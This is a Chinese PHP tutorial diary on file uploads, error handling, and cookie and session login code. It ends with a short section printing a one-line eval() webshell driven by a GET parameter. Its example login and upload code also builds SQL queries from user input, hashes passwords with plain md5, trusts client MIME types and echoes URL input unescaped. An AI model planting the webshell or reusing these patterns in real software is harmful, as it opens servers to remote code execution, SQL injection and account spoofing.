PHP学习日记【三】 PHP文件上传-错误处理-会话管理和控制
3.1 PHP 文件上传
文件上传需要注意php.ini文件里的如下参数:
| 配置项 | 功能说明 |
| file_uploads | on 为 开启文件上传功能, off 为关闭 |
| post_max_size | 系统允许的 POST 传参的最大值 |
| upload_max_filesize | 系统允许的上传文件的最大值 |
| memory_limit | 内存使用限制 |
建议尺寸: file_size(文件大小) < upload_max_filesize < post_max_size <memory_limit
另外,需要注意的是脚本执行时间。
max_execution_time,这参数单位为秒。
这个参数是设定脚本的最大执行时间。
也可以根据需求做适当的改变。通常不需要来修改,系统默认值即可。超大文件上传的时候,可能会涉及到这一项参数的修改。上传时间太长了,会超时。如果你将此项参数设为0,则是不限制超时时间,不建议使。
完成了php.ini的相关配置,我们就可以开始试着完成第一次文件上传了。
3.1.1 php文件上传步骤
1、 系统返回的错误码详解:
| 错误码 | 说明 |
| 0 |
无误,可以继续进行文件上传的后续操作。 |
| 1 | 超出上传文件的最大限制, upload_max_filesize = 2M php.ini 中设置,一般默认为 2M。可根据项目中的实际需要来修改 |
| 2 | 超出了指定的文件大小,根据项目的业务需求指定上传文件的大小限制 |
| 3 | 只有部分文件被上传 |
| 4 | 文件没有被上传 |
| 6 | 找不到临时文件夹,可能目录不存在或没权限 |
| 7 | 文件写入失败,可能磁盘满了或没有权限 |
注:错误码中没有 5。
2、自定义判断是否超出文件大小范围
在开发上传功能时。作为开发人员,除了php.ini中规定的上传的最大值外。通常还会设定一个值,是业务规定的上传大小限制。
例如 :
新浪微博或者QQ空间只准单张头像图片2M。而在上传图册的时候又可以超过2M来上传所以说,它的系统是支持更大文件上传的。此处的判断文件大小,我们用于限制实际业务中我们想要规定的上传的文件大小。
3、 文件: 判断后缀名和mime类型是否符合
在网络世界里面也有坏人。他们会把图片插入病毒,在附件中上传病毒,他们会在网页中插入病毒或者黄色图片。我们需要对于上传的文件后缀和mime类型都要进行判断才可以。MIME(Multipurpose Internet Mail Extensions)是多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。在判断后缀和MIME类型的时候, 会用到PHP的一个函数in_array(),该函数传入两个参数。第一个参数是要判断的值;第二个参数是范围数组。我们用这个函数来判断文件的后缀名和mime类型是否在允许的范围内。
4、生成文件名
文件上传成功不会让它保存原名。因为有些人在原名中有敏感关键词会违反我国的相关法律和法规。可以采用date()、 mt_rand()或者unique()生成随机文件名。
5、判断是否是上传文件
文件上传成功时,系统会将上传的临时文件上传到系统的临时目录中。产生一个临时文件。同时会产生临时文件名。需要做的事情是将临时文件移动到系统的指定目录中。而移动前不能瞎移动,或者移动错了都是不科学的。移动前需要使用相关函数判断上传的文件是不是临时文件。
is_uploaded_file()传入一个参数($_FILES中的缓存文件名),判断传入名称是不是上传文件。
6、移动临时文件到指定位置
临时文件是真实的临时文件,需要将其移动到我们的网站目录下面了。让我们网站目录的数据,其他人可以访问到。
使用: move_uploaded_file()。这个函数是将上传文件移动到指定位置,并命名。传入两个参数:第一个参数是指定移动的上传文件;第二个参数是指定的文件夹和名称拼接的字符串。
3.1.2 php文件上传表单注意事项
代码如下:
1.index.html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>上传文件</title>
</head>
<body>
<h1>上传文件</h1>
<form action="chuli.php" method="post" enctype="multipart/form-data">
请选择文件: <input type="file" name="file" />
<input type="submit" value="上传" />
</form>
</body>
</html>
说明: form 里的 enctype 属性管理表单的 MIME(Multipurpose Internet Mail Extensions)编码,其中, multipart/form-data 表示制定传输数据的特殊类型, 上传非文本内容, 如图片或 mp3。
注意事项:
1.form表单参数method必须为post。 get无法进行文件上传。
2.enctype须为multipart/form-data,表示上传非文本内容,如图片或mp3。
2.chuli.php
<?php
//取文件信息
$arr = $_FILES["file"];
//var_dump($arr);
//加限制条件//1.文件类型//2.文件大小//3.保存的文件名不重复
if(($arr["type"]=="image/jpeg" || $arr["type"]=="image/png" ) &&$arr["size"]<10241000 )
{
//tmp_name 上传后的临时存储路径和文件名
$arr["tmp_name"];
//目录不存在则创建
if(!is_dir("images")){
mkdir("images");
}
//上传的文件存放的位置//避免文件重复: //1.加时间戳.time()加用户名.$uid 或者加.date('YmdHis')
//2.类似网盘,使用文件夹来防止重复
$filename = "images/".date('YmdHis').$arr["name"];
//保存之前判断该文件是否存在
if(file_exists($filename))
{
echo "该文件已存在";
}
else
{
//中文名的文件出现问题,所以需要转换编码格式$filename = iconv("UTF-8","gb2312",$filename);
//移动临时文件到上传的文件存放的位置(核心代码) //括号里: 1.临时文件的路径, 2.存放的路径
move_uploaded_file($arr["tmp_name"],$filename);
echo "文件上传成功";
}
}
else
{
echo "上传的文件大小或类型不符";
}
?>
3.2 PHP 错误处理
php.ini配置文件可以控制php的错误显示状态。有一个专门配置项:display_errors
这个选项设置是否将错误信息输出到网页,或者对用户隐藏而不显示。
这个值的状态为on或者off,也可以设值为1或者0。设为0或off则不在页面中显示错误,如果设为1或on则显示错误信息。
注:修改完php.ini文件,需要重启服务器。如果没有修改服务器php.ini的状态权限, 可以使用ini_set。
<?php
ini_set('display_errors' , 0 );
?>
上面的代码也相当于修改了php.ini中display_errors的值。不过,仅仅在当前php代码中生效。
问题:想取得php.ini的配置项状态怎么办?
可以使用ini_get(参数项) 得到参数的值。演示例子:
<?php
echo '服务器中 display_errors 的状态为' . ini_get('display_errors');
?>
3.2.1 php错误处理之错误报告级别
| 错误类型 | 说明 |
| E_ERROR | 错误,文件直接中断 |
| E_WARNING | 警告,问题比较严重。但是还会继续向下运行 |
| E_NOTICE | 提示,有些小问题不会影响到程序。常发生在项目未定义 |
| E_PARSE | 编译时语法解析错误。解析错误仅仅由分析器产生。 |
| E_ALL | 所有的错误 |
| E_STRICT | 启用 PHP 对代码的修改建议,以确保代码具有最佳的互操作性向前兼容性。 |
| E_DEPRECATED | 启用后将会对在未来版本中可能无法正常工作的代码给出警告。 |
在上面的几种类型中:
error最严重,必须要解决。不然程序无法继续向下执行
warning也很重要。通也必须要解决。如果明确的,故意的可以不用处理。
notice 可不管。但是在有些公司,项目标准特别高。在高标准要求的项目中也必须要解决。因为, notice会影响到PHP的执行效率。通常发生在函数未定义等。
parse错误,是指语法错写错了,必须要解决, 代表全部类型的所有错误。
1、 在php.ini中error_reporting参数。如若error_reporting参数设置为0。整个PHP引擎发错误均不会显示、输出、记录。在下一章将要讲到的日志记录中,也不会记录。
如果我们想显示所有错误可以写上:
error_reporting = E_ALL
想要显示所有错误但排除提示,可以将这个参数写为:
error_reporting = E_ALL & ~ E_NOTICE
显示所有错误,但排除提示、兼容性和未来兼容性。可写为:
error_reporting = E_ALL & ~E_NOTICE & ~E_STRICT & ~E_DEPRECATED
2、在有些情况下无权限操作php.ini文件,又想要控制error_reporting怎么办呢?
在运行的xxxx.php文件中开始处,可使用error_reporting()函数达到目标。
演示代码如下:
<?php
//关闭了所有的错误显示
error_reporting(0);
//显示所有错误
//error_reporting(E_ALL);
//显示所有错误,但不显示提示
//error_reporting(E_ALL & ~ E_NOTICE);
?>
3.2.2 php错误处理之错误记录日志
在一些公司里面,有专门的日志收集系统。日志收集系统会在背后默默的帮你收集错误、警告、提示。也有些公司没有专门的日志收集系统,通过文件来服务器当中的运行日志。
其中: PHP的错误,警告这些是必须要收信的。那么问题来了——不让用户看到,设置好错误报告级别好,如何将错误收集到日志系统中呢?
这里有需要使用到php.ini的相关配置项。这两个配置项为:
| 参数 | 配置项 | 说明 |
| log_errors | on/off | 是否开启日志记录 |
| log_errors_max_len | 整型,默认 1024 | 单行错误最大记录长度 |
| error_log | syslog 或者指定路径 | 错误日志记录在什么地方 |
说明:
1.在表格中的log_errors和log_errors_max_len非常好理解。
2.而error_log 指定将错误存在什么路径上。配置项中的syslog可能有点不太好理解。 syslog是指系统来记录。 windows系统在电脑的日志收集器里面。 linux默认在/etc/syslog.conf
[扩展] 了解知识点。若Linux系统启动或修改了日志收集。可能存储在第三方专用的日志收集服务器中。此外, PHP还为我们专门准备了一个自定义的错误日志函数:
bool error_log ( string $错误消息 [, int $错误消息类型 = 0 [, string $存储目标]] )
这个函数可以把错误信息发送到web服务器的错误日志,或者到一个文件里。
常用的错误消息类型:
| 错误消息类型 | 说明 |
| 0 | 发送至默认的 error_log 指定置 |
| 1 | 发送到指定的邮件位置 |
| 3 | 发送至指定的文件位置 |
示例:
<?php
//无法连接到数据库服务器,直接记录到 php.ini 中的 error_log 指定位置
error_log("无法连接到数据库服务器服务器");
//可以发送邮件,但是 php.ini 必须配置过邮件系统
error_log('可以用邮件报告错误,让运维人员半夜起床干活',1 ,'pig@php.cn');
//记录在指定的位置
error_log("我是一个错误哟", 3, "d:/test/my-errors.log");
?>
3.3 PHP 会话管理和控制
Cookie 是通过将数据保存在客户端来实现与服务端保持连接的,而 Session 是通过将数据保存在服务器端来实现保持连接的。我们通过一个例子来了解 session 的机制。
我们去饮料店买饮料,下单以后服务员会给我们一个号码牌,然后你走到一旁,服务员并不认识你是谁,如果你想拿到你的饮料,你必须提供你的号码牌给服务员才可以,服务员通过号码牌来查记录,来确认你是顾客,确认你点了什么饮料,然后才会把你点的饮料给你。
了解了 session 原理,再回到 Web 技术中,我们有 2 种方法让客户端拿到“号码牌”,一种是通过 cookie,一种是通过把值嵌入网页传给客户端。我们也有 2 种方法来让客户端把号码牌传给服务器来拿属于自己的资料,一种是 cookie,一种是标准的 Query String/POST。而我们常用的是 cookie,因为现在的浏览器都支持 cookie,默认也都开启。客户端与服务端彼此都会将 cookie 发送给对方。来个过程说明一下:打开浏览器输入 www.taobao.com并回车,由于是第一次与这个网站建立连接,服务端还没有设置过 cookie(这里假设当前浏览器是第一次访问这个网址,之前这个网址没有向当前客户端写过 cookie),所以没有 cookie发送到服务端,服务端在处理完数据返回的时候,会将一个 name 为 sessionid, value 为一连串 N 位字符的 cookie 发送给客户端,后续客户端再次访问服务端的时候,也会带上这个cookie 来访问服务端。于是,他们就这样通过 sessionid 互相“认识”了。
我们之前拿开会的例子讲了一个小例子:
在几十年前人们开会的时候,都需要带上一个参会证。这个参会证上有这个人的职务、姓名、单位、照片等信息。在开会的时候,会议安保人员、组织者只需要检查相关信息就行了。
这个小例子主要说明一点,人们自己带着自己的参会证,带着自己的信息。这种模式就是 cookie。而电脑将这段 cookie 信息存在了电脑的硬盘里。
Cookie 存在哪儿? Cookie 的本质是一小段数据,一小段存储在你电脑硬盘中的数据。可是它存在哪里呢?来,我们找一下。
Chrome 浏览器的 Cookie 文件的存放路径是:
C:\Users\administrator\AppData\Local\Google\Chrome\User Data\Default\Cookies
Firefox 浏览器的 Cookies 文件存放路径是:
C:\Users\你的用户名\AppData\Roaming\Mozilla\Firefox\Profiles\rdgp36vl.default\cookies.sqlite
每个人可能略有不同用文本编辑器直接打开 Cookies 文件看到的是乱码,我们得用工具查看,如下图:

我们来看一下需要关注的几个列, Domain 代表的是 cookies 所属的网站, Name 代表的是这个 Cookie 的名字, Value 代表的是 Cookie 的值, Expires 代表的是这个 Cookie 的有效期。
用一个我们熟悉的网站举例, tudou.com,图上我们可以看到有4个关于 tudou.com 的Cookie,
那么当我们访问 tudou.com 的时候,浏览器会自动把这 4 个 Cookie 的 Name 和 Value 发送到 tudou.com 这个网址所指向的服务器(PS:必须在有效期内,超出有效期的话是不会被发送到服务器的,有效期我们可以依据需求来定),如此一来,服务器就可以根据这些信息来保持与客户端的连接了,通俗点,就是可以通过这些数据来知道你就是你。当服务器收到些 Cookies 后,会根据他们的值来做一些处理,做什么处理?这就取决于开发人员想根据这些信息来干嘛了!
3.3.1 php 会话控制之 PHP 中 Cookie
通过一个用户首次登陆网站后,再次访问不需要重复输入用户名和密码的例子来学习Cookie。
首先介绍一下 php 中设置 cookie 的方法。
php 中提供了一个函数来让我们设置 cookie,这个函数是:
bool setcookie (
string $名字
[, string $值]
[, int $过期时间 = 0]
[, string $路径]
[, string $域名]
[, bool $安全 = false]
[, bool $http 只读 = false]
);
参数 描述
$名字 必需。规定 cookie 的名称。
$值 可选。规定 cookie 的值。
$有效期 可选。规定 cookie 的有效期。
$路径 可选。规定 cookie 的服务器路径。
$域名 可选。规定 cookie 的域名。
$安全 可选。规定是否通过安全的 HTTPS 连接来传输 cookie。
$http 可读 可选。如果 true,那么 js 就无法读取改 cookie,增加安全性。
一般来说,我们其实用不到上面那么多参数,对于这个函数,我们一般这么用:
setcookie(cookie 名,cookie 值,cookie 有效期);
没错,就那么 3 个。如此一来,我们就可以在服务端通过$_COOKIE['name'] 来读取 cookie了。
设置 cookie 举例:
<?php
//在浏览器里设置 cookie
//时效一个月,一个月后这个 cookie 失效
setcookie('username','oldboy',time()+60*60*24*30);//输出 cookies
$username = $_COOKIE['username'];
echo $username;
?>
以下是示例:
我们将文件名命名为: login.php。
我们来模拟我们在互联网上见到最常见的例子:输入用户名和密码,登陆成功的过程。
1.建一个数据库 oldboy,其中有表 users,有 username 和 password 这两个字段。
创建库及表结构:
drop database oldboy;
create database oldboy;
use oldboy
CREATE TABLE IF NOT EXISTS users (
id INT(10) NOT NULL PRIMARY KEY AUTO_INCREMENT,
username varchar(30),
password varchar(60),
createtime int(16) not null,
createip binary(16)
);
并且通过前面登录插入数据

2.login.php
<?php
//第一次登陆,通过用户输入信息来确认用户
if ( ( $_POST['username'] != null ) && ( $_POST['password'] != null ) ) {
$username = trim($_POST['username']);$password = md5(trim($_POST['password']));
//echo $username.$password;
//exit;
//从 db 获取用户信息
//PS:数据库连接信息改成自己的 分别为主机 数据库用户名 密码
$conn = mysqli_connect('localhost','root','root');
mysqli_select_db($conn,'oldboy');
$sql = "select * from users where `username` = '$username' ";
$res = mysqli_query($conn,$sql);
$row = mysqli_fetch_assoc($res);
//echo $row['password']."<br>";
//echo $password;
//exit;
if ($row['password'] == "$password") {
//密码验证通过,设置 cookies,把用户名和密码保存在客户端
setcookie('username',$username,time()+60*60*24*30);//设置时效一个月,
一个月后这个 cookie 失效
//$code = authcode('oldboy','ENCODE','100');
//setcookie('username',$code,time()+3600);
//最后跳转到登录后的欢迎页面
header('Location: welcome.php'."?username=$username");
}else{
echo "密码有误";
exit;
}
}
//再次访问的时候通过 cookie 来识别用户
if ( ($_COOKIE['username'] != null) ) {
$username = $_COOKIE['username'];
//从 db 获取用户信息
//PS:数据库连接信息改成自己的 分别为主机 数据库用户名 密码$conn = mysqli_connect('localhost','root','root','oldboy');
$res = mysqli_query($conn,"select * from users where `username` =
'$username' ");
$row = mysqli_fetch_assoc($res);
if ($row['username'] == $username) {
//验证通过后跳转到登录后的欢迎页面
header('Location: welcome.php' . "?username=$username");
}
}
?>
<html>
<head>
</head>
<body>
<form action="" method="POST">
<div>
用户名: <input type="text" name="username" />
密 码: <input type="text" name="password" />
<input type="submit" value="登录">
</div>
</form>
</body>
</html>
跳转到的 welcome.php 代码
<?php
//再次访问的时候通过 cookie 来识别用户
if ( ($_COOKIE['username'] != null) ) {
$username = $_COOKIE['username'];
//从 db 获取用户信息
//PS:数据库连接信息改成自己的 分别为主机 数据库用户名 密码
$conn = mysqli_connect('localhost','root','root','oldboy');$res = mysqli_query($conn,"select * from users where `username` ='$username' ");
$row = mysqli_fetch_assoc($res);
if (!$row['username'] == $username) {
//验证通过后跳转到登录后的欢迎页面
header('Location: login.php');
}
}
$user = $_GET['username'];
if($user == null){
echo "请重新登录";
header('Location: login.php');
}
?>
<html>
<head>
</head>
<body>
welcome,<?php echo $user;?>
</body>
</html>
当第一次访问 login.php 的时候, 需要输入用户名和密码,输入完毕后跳转到welcome.php。
然后我关闭浏览器,再次打开 login.php,这次没有要求输入用户信息,而是直接跳转到了welcome.php,因为之前存的 cookie 信息被浏览器自动发送到了服务端,服务端做完处理直接跳转到了 welcome.php,服务器认识我们了!知道我是之前那个登陆过的用户,这样我们就通过 cookie 技术让无状态的 HTTP 协议保持了状态。照着这个做一遍,我相信你会用 cookie 了。
查看浏览器 cookie:

cookies 安全问题: 加密 cookies 数据
#login.php
<?php
include_once("function.php");
//第一次登陆,通过用户输入信息来确认用户
if ( ( $_POST['username'] != null ) && ( $_POST['password'] != null ) ) {
$username = trim($_POST['username']);
$password = md5(trim($_POST['password']));
//echo $username.$password;
//exit;
//从 db 获取用户信息
//PS:数据库连接信息改成自己的 分别为主机 数据库用户名 密码
$conn = mysqli_connect('localhost','root','root');
mysqli_select_db($conn,'oldboy');
$sql = "select * from users where `username` = '$username' ";
$res = mysqli_query($conn,$sql);
$row = mysqli_fetch_assoc($res);
//echo $row['password']."<br>";
//echo $password;
//exit;
if ($row['password'] == "$password") {
//密码验证通过,设置 cookies,把用户名和密码保存在客户端//设置时效一个月,一个月后这个 cookie 失效
//setcookie('username',$username,time()+60*60*24*30);
$code = authcode('oldboy','ENCODE','100');
//echo $code;
//exit;
setcookie('username',$code,time()+3600);
//最后跳转到登录后的欢迎页面
header('Location: welcome.php'."?username=$username");
}else{
echo "密码有误";
exit;
}
}
//再次访问的时候通过 cookie 来识别用户
if ( ($_COOKIE['username'] != null) ) {
//获得浏览器提交的加密的 cookies
$code = $_COOKIE['username'];
//将加密的字符串,解码, 100 是解码串,和加密时候串相同
$username = authcode($code,'DECODE','100');
//echo $username;
//exit;
//从 db 获取用户信息
//PS:数据库连接信息改成自己的 分别为主机 数据库用户名 密码
$conn = mysqli_connect('localhost','root','root','oldboy');
$res = mysqli_query($conn,"select * from users where `username` =
'$username' ");
$row = mysqli_fetch_assoc($res);
//echo $row['username'];
//echo $username;
//exit;
if ($row['username'] == $username) {
//验证通过后跳转到登录后的欢迎页面
header('Location: welcome.php' . "?username=$username");}
}
?>
<html>
<head>
</head>
<body>
<form action="" method="POST">
<div>
用户名: <input type="text" name="username" />
密 码: <input type="text" name="password" />
<input type="submit" value="登录">
</div>
</form>
</body>
</html>
#welcome.php
<?php
include_once("function.php");
//再次访问的时候通过 cookie 来识别用户
if ( ($_COOKIE['username'] != null) ) {
//获得浏览器提交的加密的 cookies
$code = $_COOKIE['username'];
//将加密的字符串,解码, 100 是解码串,和加密时候串相同
$username = authcode($code,'DECODE','100');
//echo $username;
//exit;
//从 db 获取用户信息
//PS:数据库连接信息改成自己的 分别为主机 数据库用户名 密码
$conn = mysqli_connect('localhost','root','root','oldboy');
$res = mysqli_query($conn,"select * from users where `username` =
'$username' ");$row = mysqli_fetch_assoc($res);
//echo $row['username'];
//echo $username;
//exit;
if (!$row['username'] == $username) {
//验证通过后跳转到登录后的欢迎页面
echo "请重新登录";
}
}
$user = $_GET['username'];
if($user == null){
echo "请重新登录";
header('Location: login.php');
}
?>
<html>
<head>
</head>
<body>
welcome,<?php echo $user;?>
</body>
</html>
3.3.2 php 会话控制之 PHP 的 session
1.开启 session
首先我们要开启 session,那么第一个要学习的函数就是 bool session_start()了,这个函数没有参数。在 php 文件的开始使用 session_start();就可以启用新会话或者重用现有会话了。
2.添加 session 数据
开启会话之后,那么在接下来处理中,就可以使用$_SESSION 变量来存取信息了。
$_SESSION 变量是个数组。把信息存入 session 的时候应该这么写:
$_SESSION['username'] = 'oldboy';
3.读取 session 数据
读取很简单,就像我们使用数组一样,如下: $username = $_SESSION['username'];和数组一样的使用。
4.销毁 session 数据
可以使用很多种方式来销毁 session 数据。
a) unset 函数
通过使用类似 unset($_SESSION['XXX']);销毁 sessio 中的 XXX 变量。
PS:请不要用 unset($_SESSION),会导致后续无法使用$_SESSION 这个变量!!!
b) 空数组赋值给 session 变量
$_SESSION = array();
之前我们说过$_SESSOIN 变量是个数组,那么空数组赋值的话也是相当于将当前会话的
$_SESSION 变量中的值销毁。
c) session_destory() 函数
这个函数会销毁当前会话中的全部数据,并结束当前会话。但是不会重置当前会话所关联的全局变量, 也不会重置会话cookie。
5.session 扩展: 默认 session 存储在哪里。
在 php.ini 配置文件中有这么一行 session.save_handler = files,files,说明了 php 默认的是用文件读写的方式来保存 session 的。那么在哪个目录呢?继续看。 session.save_path = "/tmp",这一行前面有个 ; 说明是被注释的,不过即便这样, php 默认的 session 也是保存在这里的, /tmp 目录。
windows 服务端 session 路径:phpstudy/tmp/tmp

6.SESSION 登录实例:
login.php 文件
<?php
session_start();if (($_POST['username'] != null) && ($_POST['password'] != null)) {
$username = $_POST['username'];
$password = md5($_POST['password']);
//echo $username;
//echo $password;
//exit;
//从 db 获取用户信息 数据库信息改成自己的
$conn = mysqli_connect('localhost', 'root', 'root');
mysqli_select_db($conn, 'oldboy');
$res = mysqli_query($conn, "select * from users where `username` =
'$username' ");
$row = mysqli_fetch_assoc($res);
if ($row['password'] == $password) {
//密码验证通过,设置 session,把用户名和密码保存在服务端
$_SESSION['username'] = $username;
//最后跳转到登录后的欢迎页面 //注意:这里我们没有像 cookie 一样带参数过去
header('Location: welcome.php');
}
}
//再次访问的时候通过 cookie 来识别用户
if ( ($_SESSION['username'] != null) ) {
$username = $_SESSION['username'];
//从 db 获取用户信息
//PS:数据库连接信息改成自己的 分别为主机 数据库用户名 密码
$conn = mysqli_connect('localhost','root','root','oldboy');
$res = mysqli_query($conn,"select * from users where `username` =
'$username' ");
$row = mysqli_fetch_assoc($res);
if ($row['username'] == $username) {
//验证通过后跳转到登录后的欢迎页面
header('Location: welcome.php' . "?username=$username");
}
}?>
<html>
<head>
<!-- 这里指明页面编码 -->
<meta charset="utf-8">
</head>
<body>
<form action="" method="POST">
<div>
用户名: <input type="text" name="username"/>
密 码: <input type="text" name="password"/>
<input type="submit" value="登录">
</div>
</form>
</body>
</html>
welcome.php 这里用的是 session 中信息,而不是像 cookie 一样在 url 中带参数过来
<?php
session_start();
$username = $_SESSION['username'];
if(empty($username)){
header('Location: login.php');
}
?>
<html>
<head>
</head>
<body>
welcome,<?php echo $username;?>
</body>
</html>
3.4 PHP 项目案例
3.4.1 一句话木马
案例 1:
https://www.jianshu.com/p/6b815f951db3
<?php
$user=$_GET['oldboy'];
eval("$user");
//eval 会将输入的$a 作为 php 语句执行
eval(@$_GET['oldboy']);
//一句话木马通过 eval 函数把接收的数据当作 PHP 代码来执行
?

浙公网安备 33010602011771号